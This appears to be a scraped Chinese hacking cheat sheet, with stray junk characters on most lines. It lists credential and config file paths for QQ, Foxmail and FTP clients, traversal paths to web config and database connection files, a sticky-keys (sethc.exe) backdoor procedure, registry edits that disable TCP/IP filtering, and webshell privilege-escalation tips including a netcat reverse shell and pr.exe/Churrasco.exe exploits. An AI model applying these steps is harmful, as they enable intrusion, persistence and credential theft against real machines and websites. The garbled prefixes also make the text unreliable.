% M" g2 z) p1 P7 s6 q& }c:\Program Files\Tencent\qq2008\qq.exe
+ \- S0 V% A* C4 N+ F8 C( g+ Ec:\Program Files\Tencent\qq2010\bin\qq.exe
& I  O( p* d+ v2 K# Z1 ]c:\Program Files\Tencent\qq\Users\All Users\Registry.db
- v: k$ o: [2 H7 p$ A, }2 P+ OC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
& T- N, ?7 Z5 o! v$ d! I. w, y1 VC:\Program Files\Foxmal\Foxmail.exe
  p! ?3 M( U. j& yC:\Program Files\Foxmal\accounts.cfg
) g* M* C: P( U3 O( p. p- AC:\Program Files\tencent\Foxmal\Foxmail.exe
, w' S, d7 ~( L' U/ VC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
) P) X+ d8 a4 x1 i/ R$ {+ PC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
1 u7 d7 l9 z7 u& ?9 BC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
# I$ s) r8 m6 u: Oc:\Program Files\腾讯游戏\QQGAME\readme.txt
+ N. V4 ^0 J  f: [3 ?- J( vc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
$ o1 b4 w3 B$ a% a../../config.php
& L- h. W; e3 V2 D2 e1 O: h4 F" |4 U../config.php
../../../config.php
4 q" i4 g5 o8 w$ U/config.inc.php
) ^  `. P' P) N  ?. x6 s6 g./config.inc.php
% ]8 a7 G7 c' F" p% n, v' }! n../../config.inc.php
../config.inc.php
/ u1 R! {1 k7 o0 F4 o../../../config.inc.php
/conn.php
2 y5 ^8 ?3 v* y8 b, S) ?./conn.php
, Q8 I: `! ]! g* F. |0 m+ i  a6 |../../conn.php
, a' I" _9 B8 Q/ w( L& D8 i$ d9 d../conn.php
+ Z5 k0 w  k, G" H../../../conn.php
/conn.asp
./conn.asp
2 V( s8 W+ q& Z7 y* ]7 i../../conn.asp
../conn.asp
../../../conn.asp
2 }+ ?+ T+ _1 [7 P  h; ], G6 \6 c/config.inc.php
$ g& A; ^& U. d./config.inc.php
../../config.inc.php
, G/ j6 `* H1 ?6 c8 V; Q../config.inc.php
* z$ q' u  r# O4 K1 }( n../../../config.inc.php
5 f. C9 u! c3 l. b8 @/config/config.php
) o. |& m: X8 k2 d+ G! l7 I: B../../config/config.php
../config/config.php
0 k. @. L: b+ L! J% _$ q$ g% D" K../../../config/config.php
2 ~  l0 L( s1 B! z/config/config.inc.php
8 g6 l. z# r* r' ?( B./config/config.inc.php
  v: Y/ a; e. K- g../../config/config.inc.php
../config/config.inc.php
* G4 {. K* p  K7 Z, [../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
5 N8 \! `) g! \  K../config/conn.php
$ E. h$ |( [, c5 Y( D; u* K../../../config/conn.php
2 x) v% _# h6 ^/ \0 w/config/conn.asp
: C) n# ?; v# E  n7 O* u+ T5 B) `./config/conn.asp
../../config/conn.asp
../config/conn.asp
' Z) F! N- I$ @) u, R5 _0 x* b../../../config/conn.asp
- l0 e) w/ T: @# T7 z/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
, M7 O# |) V" A! O: K../config/config.inc.php
- r7 Y8 o. _( o  Q../../../config/config.inc.php
/data/config.php
& e1 T  n3 }7 C( n3 G../../data/config.php
1 r; P- I  e! @0 K../data/config.php
../../../data/config.php
/data/config.inc.php
4 W( J4 D. l% G& G' A- F./data/config.inc.php
) `# w  b1 N" G3 [../../data/config.inc.php
../data/config.inc.php
# Y! _9 v) h4 y5 Y! g../../../data/config.inc.php
( s% _( C1 S% h+ h; e" A. q, m/data/conn.php
9 P$ s) `6 G% t./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
# ]+ z( ~# }) X6 F+ ?../../../data/conn.asp
) i2 a, t: R. Z/ B$ G# l4 `; \3 S/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
- h, e, F+ `: }1 v, C" s../../../data/config.inc.php
/include/config.php
../../include/config.php
# y' ]. ^: d. w. _../include/config.php
% {8 J$ |8 _. k0 z+ n../../../include/config.php
/ z, {& K' ^' R3 I! i1 y/include/config.inc.php
7 A8 k; B3 w) ]! Y2 B./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
" e+ Z2 q, r7 R4 X/include/conn.php
/ {1 b# n8 x) p$ j  w, ~% E./include/conn.php
$ f' y6 g' {  m../../include/conn.php
../include/conn.php
1 s( l. e$ V% F  m3 A../../../include/conn.php
3 _2 Q6 w8 N  @5 D" M/ ^8 _* |/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
, N2 R* R5 s: N3 `- Y$ X1 q../../../include/conn.asp
/include/config.inc.php
) g& F! f! j1 S& a./include/config.inc.php
4 I. y0 x! C) X* S& }" S+ v../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
) m: m1 c, ^0 r; Q, W/inc/config.php
5 u1 j/ ~; A  L# _$ ?../../inc/config.php
. T1 _9 ^9 B& g1 m  W- z! t../inc/config.php
../../../inc/config.php
9 J) P5 k( `3 x% Z/inc/config.inc.php
6 r( ^1 R  H) d" s0 `: C./inc/config.inc.php
! H- z/ r. I& L8 n../../inc/config.inc.php
../inc/config.inc.php
6 B, V- ?" E  `* k3 R3 D" h../../../inc/config.inc.php
7 x; w; V7 K, |: _  l% B/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
4 u, s+ j. S% O+ B6 Z7 @+ Z, f( w../../../inc/conn.php
/inc/conn.asp
' }! K! x* T; w+ Q  M. P./inc/conn.asp
+ {- N( A; E: s' a3 `/ L3 }../../inc/conn.asp
4 Y- K7 n0 N/ r, N( v2 _  ]../inc/conn.asp
../../../inc/conn.asp
/ S; p, J$ D% Y$ m" I4 h1 g/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
) d/ E! ]+ l. s; ~, H0 N../inc/config.inc.php
3 {. B: }4 X0 G1 _../../../inc/config.inc.php
# c$ o9 ?- x, w$ l9 n- C+ z: o/index.php
./index.php
../../index.php
9 z- q/ K2 z2 o  V& O, m4 L# ^../index.php
../../../index.php
0 }8 \& U6 N1 V* \+ }( ~5 o/index.asp
5 [" E9 ?5 Y/ p3 w  \./index.asp
, Q, @+ v' e1 _/ \2 D! v../../index.asp
../index.asp
5 a: N& P3 i$ ^3 x../../../index.asp
# B5 ], W& p$ e( d" ~替换SHIFT后门
# }1 u. j" k& O# _1 S　attrib c:\windows\system32\sethc.exe -h -r -s

" S/ E8 `. g; I& g$ v# h* y　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
4 j3 F9 W; ?% C. m: q9 l
　　del c:\windows\system32\sethc.exe
9 \# ^1 U5 X, B. G4 d  V
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

6 i' ~9 N, s5 I0 H9 w$ K　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

8 k/ T+ b" t8 H$ F9 G- r( X　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
/ Z& u0 @( r* k' |! V去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
+ [; F. S% ?; y/ e, p  ^+ }. p) sHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

6 p, C5 U# d5 z) d; g4 W: ?分别用
3 \$ M% N# W8 a5 L/ bregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  u, n. {, a2 h. Hregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 i' e. C4 f; ^" ~' g8 C* U0 d命令来导出注册表项
  r/ c1 ?0 Y4 W& t4 T9 l
+ N/ m  j5 D( F  W然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
; C" n! `0 K3 d6 e( v( a7 T
) v7 }0 i- {( z1 z# P再将以上三个文件分别用
6 \+ f" t" v; i) X8 x8 Sregedit -s D:\a.reg
regedit -s D:\b.reg
+ l  I8 X" c# L/ L+ Gregedit -s D:\c.reg
6 C2 C6 |( M  J" C) i9 Y导入注册表即可

webshell提权小技巧
$ A8 o: h6 k8 O  I) W) pcmd路径:
c:\windows\temp\cmd.exe
; P' m& c3 F4 q9 b3 n- u, Cnc也在同目录下
- E; b0 L& a9 |4 z: i) R- H7 m; o例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
, ]8 Z# o+ j9 ?1 V通常都不会成功。

; D9 b  Q; \' T) x: @* D% `' d而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
0 @8 C# |4 u( S我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功